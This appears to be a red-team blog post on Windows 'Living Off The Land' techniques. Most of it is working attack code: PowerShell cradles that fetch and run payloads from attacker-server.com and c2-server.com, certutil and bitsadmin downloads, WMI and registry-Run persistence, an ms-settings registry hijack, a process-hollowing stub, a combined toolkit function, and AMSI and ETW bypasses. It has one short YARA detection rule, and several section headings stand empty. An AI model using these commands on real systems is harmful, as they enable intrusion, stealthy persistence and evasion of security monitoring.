What if I told you that the most dangerous cyber attacks don’t use custom malware or sophisticated exploits, but instead rely on tools that are already installed on every Windows computer? Welcome to the world of Living Off The Land (LOTL) techniques .
Living Off The Land is a technique where attackers use legitimate, built-in system tools and features to carry out malicious activities. Instead of dropping custom malware that antivirus might detect, skilled red teamers leverage PowerShell, WMI, Certutil.exe, and other native utilities to blend in with normal system activity.
Why LOTL is so effective:
1. PowerShell
PowerShell is every red teamer’s best friend, it’s powerful, flexible, and present on every modern Windows system.
Instead of dropping files to disk, advanced red teamers execute scripts directly in memory:
# Download and execute a script without touching disk
IEX (New-Object Net.WebClient).DownloadString('http://attacker-server.com/payload.ps1')# Alternative using Invoke-RestMethod
IEX (Invoke-RestMethod -Uri 'http://attacker-server.com/payload.ps1')
# Base64 encoded execution to avoid detection
$encoded = "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC0AcwBlAHIAdgBlAHIALgBjAG8AbQAvAHAAYQB5AGwAbwBhAGQALgBwAHMAMQAnACkA"
powershell.exe -EncodedCommand $encoded
PowerShell Empire is a post-exploitation framework that excels at LOTL techniques:
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "iex(New-Object System.Net.WebClient).DownloadString('http://192.168.1.100:8080/index.asp')"2. Windows Management Instrumentation (WMI)
WMI is incredibly powerful for both reconnaissance and execution. It’s also heavily trusted by security tools.
# Execute commands on remote systems using WMI
$credential = Get-Credential
$session = New-CimSession -ComputerName "target-computer" -Credential $credential# Execute a command remotely
Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="powershell.exe -Command 'whoami'"}
# Advanced: WMI Event Subscriptions for persistence
$filterName = 'SystemStartup'
$consumerName = 'SystemStartupConsumer'
# Create event filter (triggers on system startup)
$filter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{
Name = $filterName
EventNameSpace = 'root\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2"
}
# Create event consumer (what to execute)
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
Name = $consumerName
CommandLineTemplate = 'powershell.exe -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString(\"http://c2-server.com/agent.ps1\")"'
}
# Bind filter to consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
Filter = $filter
Consumer = $consumer
}
3. Certutil.exe — The Download Specialist
Certutil is officially for certificate management, but red teamers love it for downloading payloads:
# Download files using certutil
certutil.exe -urlcache -split -f "http://attacker-server.com/payload.exe" payload.exe# Decode base64 files
certutil.exe -decode encoded_payload.txt payload.exe
# Advanced: Chain with other LOTL tools
certutil.exe -urlcache -split -f "http://attacker-server.com/script.ps1" script.ps1 && powershell.exe -ExecutionPolicy Bypass -File script.ps1
BITS (Background Intelligent Transfer Service) is perfect for stealthy downloads:
# Create a BITS job for downloading
bitsadmin.exe /transfer myDownloadJob /download /priority high "http://attacker-server.com/payload.exe" "C:\temp\payload.exe"# Advanced: Persistent BITS job
bitsadmin.exe /create BackgroundUpdate
bitsadmin.exe /addfile BackgroundUpdate "http://attacker-server.com/update.exe" "C:\temp\update.exe"
bitsadmin.exe /SetNotifyCmdLine BackgroundUpdate "C:\temp\update.exe" ""
bitsadmin.exe /resume BackgroundUpdate
Process hollowing allows attackers to run malicious code inside legitimate processes:
# Advanced PowerShell process hollowing technique
$code = @"
using System;
using System.Runtime.InteropServices;public class ProcessHollow {
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);
// Additional API imports for complete process hollowing...
}
"@
Add-Type -TypeDefinition $code
# Implementation continues...
Using Windows Registry for stealth persistence:
# Create registry key for persistence
$regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$name = "SecurityUpdate"
$value = 'powershell.exe -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString(\"http://c2-server.com/agent.ps1\")"'Set-ItemProperty -Path $regPath -Name $name -Value $value
# Advanced: Using less monitored registry locations
$advPath = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"
New-Item -Path $advPath -Force
Set-ItemProperty -Path $advPath -Name "(Default)" -Value $value
Set-ItemProperty -Path $advPath -Name "DelegateExecute" -Value ""
What Defenders Should Monitor
# YARA rule for detecting suspicious PowerShell patterns
rule Suspicious_PowerShell_LOTL {
strings:
$s1 = "IEX" nocase
$s2 = "DownloadString" nocase
$s3 = "-EncodedCommand" nocase
$s4 = "-WindowStyle Hidden" nocase
$s5 = "New-Object Net.WebClient" nocase condition:
2 of them
}
Essential Red Team Frameworks
Covenant C2 Framework
Cobalt Strike
Empire/Starkiller
# RedTeam LOTL Toolkit
function Invoke-LOTLToolkit {
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]$Target, [Parameter(Mandatory=$true)]
[string]$PayloadURL,
[ValidateSet("Download","Execute","Persist")]
[string]$Action = "Execute"
)
switch ($Action) {
"Download" {
# Use multiple LOTL download methods
try {
certutil.exe -urlcache -split -f $PayloadURL payload.exe
Write-Output "[+] Downloaded via certutil"
} catch {
bitsadmin.exe /transfer job1 /download /priority high $PayloadURL payload.exe
Write-Output "[+] Downloaded via bitsadmin"
}
}
"Execute" {
# In-memory execution
IEX (New-Object Net.WebClient).DownloadString($PayloadURL)
Write-Output "[+] Executed in memory"
}
"Persist" {
# Registry persistence
$regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$value = "powershell.exe -WindowStyle Hidden -Command `"IEX (New-Object Net.WebClient).DownloadString('$PayloadURL')`""
Set-ItemProperty -Path $regPath -Name "SecurityUpdate" -Value $value
Write-Output "[+] Persistence established"
}
}
}
# Usage examples:
# Invoke-LOTLToolkit -Target "192.168.1.100" -PayloadURL "http://c2-server.com/agent.ps1" -Action "Execute"
Case Study 1: APT29 (Cozy Bear)
APT29 extensively uses LOTL techniques:
Case Study 2: FIN7 Group
FIN7 is known for sophisticated LOTL campaigns:
Operational Security (OPSEC)
# AMSI (Anti-Malware Scan Interface) bypass
$a = [Ref].Assembly.GetTypes()
$b = $a | Where-Object {$_.Name -like "*iUtils"}
$c = $b.GetFields('NonPublic,Static')
$d = $c | Where-Object {$_.Name -like "*Context"}
$d.SetValue($null, [IntPtr]::Zero)# ETW (Event Tracing for Windows) bypass
$etw = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
$etwField = $etw.GetField('etwProvider','NonPublic,Static')
$EventProvider = New-Object System.Diagnostics.Eventing.EventProvider([Guid]::NewGuid())
$etwField.SetValue($null, $EventProvider)
Key takeaways for red teamers:
For defenders:
Living Off The Land techniques represent the evolution of red teaming from noisy, detectable attacks to surgical, stealthy operations. As defenders improve their detection capabilities, red teamers continue to innovate with these native tools.
The cat-and-mouse game between red and blue teams continues, but with LOTL techniques, red teamers have found a way to hide in plain sight using the very tools designed to help us manage our systems.